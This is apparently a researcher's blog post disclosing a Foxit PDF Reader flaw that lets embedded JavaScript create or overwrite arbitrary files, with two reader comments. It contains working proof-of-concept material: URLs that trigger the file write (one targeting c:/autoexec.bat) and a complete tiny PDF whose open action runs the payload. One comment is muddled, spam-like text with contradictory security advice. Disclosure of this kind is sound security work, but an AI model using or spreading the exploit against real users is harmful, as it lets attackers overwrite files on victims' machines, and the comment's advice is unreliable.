Recently, I've been playing around with the various JavaScript APIs available in various different PDF readers. In case you wanted to do the same, I made some little tools, including a simple one to execute PDF-based JS via an URL:
https://cevans-app.appspot.com/static/pdfjs.html?js=app.alert('hi')
The serious bug I found in Foxit PDF Reader permits arbitrary files to be written with arbitrary content, like this:
https://cevans-app.appspot.com/static/pdfjs.html?js=createDataObject('c:/autoexec.bat','echo hi mom')
Files can be overwritten as well as created.
I did some hackery on the generated PDF and managed to squeeze a full valid PDF, including simple JS payload, into 136 characters. This means I can tweet the full PoC PDF, which I will do shortly :) Here it is for completeness:
%PDF 1 0 obj<</Pages 1 0 R /OpenAction 2 0 R>> 2 0 obj<</S /JavaScript /JS (createDataObject\('c:/pwn','pwn'\))>> trailer<</Root 1 0 R>>
2 comments:
The vulnerability still exists in v4.3.1.0323 !!!
Hi,
The site is about Foxit PDF Reader v4.3.1.0218, when it comes to creating pdf documents, the choice shrinks significantly.Users are better off using an alternative PDF reader such as Foxit. While the application has its share of security vulnerabilities, its smaller market share means it's mostly ignored by attackers. Thanks a lot.
PDF Document Security
Post a Comment